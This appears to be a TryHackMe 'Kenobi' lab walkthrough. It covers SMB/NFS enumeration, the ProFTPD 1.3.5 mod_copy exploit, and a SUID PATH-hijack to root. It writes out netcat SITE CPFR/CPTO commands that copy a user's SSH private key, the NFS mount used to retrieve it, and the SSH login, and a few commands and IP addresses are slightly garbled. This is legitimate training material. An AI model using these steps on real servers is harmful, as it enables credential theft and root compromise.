Try Hack Me — Kenobi

Table of Contents

1. Introduction
2. Deploy the Vulnerable Machine
3. Enumerating Samba for shares
4. Gain initial access with ProFtpd
5. Privilege Escalation with Path Variable Manipulation
6. Conclusion

Introduction

Today we’re going to be attempting to complete the Https://tryhackme.com room Kenobi. This room is based on exploiting a Linux machine running Samba.

Deploy the Vulnerable Machine

This room will cover accessing a Samba share, manipulating a vulnerable version of proftpd to gain initial access and escalate your privileges to root via an SUID binary.

#1

Make sure you’re connected to the network and deploy the machine

#2

Scan the machine with nmap, how many ports are open?

7

Enumerating Samba for shares

Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often refereed to as a network file system.

Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.

#1

Using nmap we can enumerate a machine for SMB shares.

Nmap has the ability to run to automate a wide variety of networking tasks. There is a script to enumerate shares!

nmap -p 445 — script=smb-enum-shares.nse,smb-enum-users.nse 10.10.33.34

SMB has two ports, 445 and 139.

Using the nmap command above, how many shares have been found?

3

#2

On most distributions of Linux smbclient is already installed. Lets inspect one of the shares.

smbclient //10.10.33.34/anonymous

Using your machine, connect to the machines network share.

Once you’re connected, list the files on the share. What is the file can you see?

log.txt

#3

You can recursively download the SMB share too. Submit the username and password as nothing.

smbget -R smb://10.10.33.34/anonymous

Open the file on the share. There is a few interesting things found.

• Information generated for Kenobi when generating an SSH key for the user
• Information about the ProFTPD server.

What port is FTP running on?

21

#4

Your earlier nmap port scan will have shown port 111 running the service rpcbind. This is just an server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.

In our case, port 111 is access to a network file system. Lets use nmap to enumerate this.

nmap -p 111 — script=nfs-ls,nfs-statfs,nfs-showmount 10.10.33.34

What mount can we see?

/var

Gain initial access with ProFtpd

ProFtpd is a free and open-source FTP server, compatible with Unix and Windows systems. Its also been vulnerable in the past software versions.

#1

Lets get the version of ProFtpd. Use netcat to connect to the machine on the FTP port.

What is the version?

1.3.5

#2

We can use searchsploit to find exploits for a particular software version.

Searchsploit is basically just a command line search tool for exploit-db.com.

How many exploits are there for the ProFTPd running?

3

#3

You should have found an exploit from ProFtpd’s mod_copy module.

The mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.

We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.

#4

We’re now going to copy Kenobi’s private key using SITE CPFR and SITE CPTO commands.

nc 10.10.33.34 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

We knew that the /var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the /var/tmp directory.

#5

Lets mount the /var/tmp directory to our machine

mkdir /mnt/kenobiNFS
mount 10.10.33.34 21:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS

We now have a network mount on our deployed machine! We can go to /var/tmp and get the private key then login to Kenobi’s account.

cp /mnt/kenobiNFS/tmp/id_rsa .
sudo chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.245.98

What is Kenobi’s user flag (/home/kenobi/user.txt)?

cat /home/kenobi/user.txt

Privilege Escalation with Path Variable Manipulation

Lets first understand what what SUID, SGID and Sticky Bits are.

#1

SUID bits can be dangerous, some binaries such as passwd need to be run with elevated privileges (as its resetting your password on the system), however other custom files could have the SUID bit that can lead to all sorts of issues.

To search the a system for these type of files run the following:

find / -perm -u=s -type f 2>/dev/null

What file looks particularly out of the ordinary?

menu

#2

Run the binary, how many options appear?

3

#3

Strings is a command on Linux that looks for human readable strings on a binary.

This shows us the binary is running without a full path (e.g. not using /usr/bin/curl or /usr/bin/uname).

As this file runs as the root users privileges, we can manipulate our path gain a root shell.

We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the “curl” binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!

#4

What is the root flag (/root/root.txt)?

cat /root/root.txt

Conclusion

Here we learned how to exploit a fileserver to gain FTP access via the PROFTPD module, allowing us to further explore the device as a user and eventually allowing privesc to obtain a root shell without the need for any exploits to be ran from 3rd party applications such as metasploit. A fantastic lab that demonstrates the importance of file permissions within a server.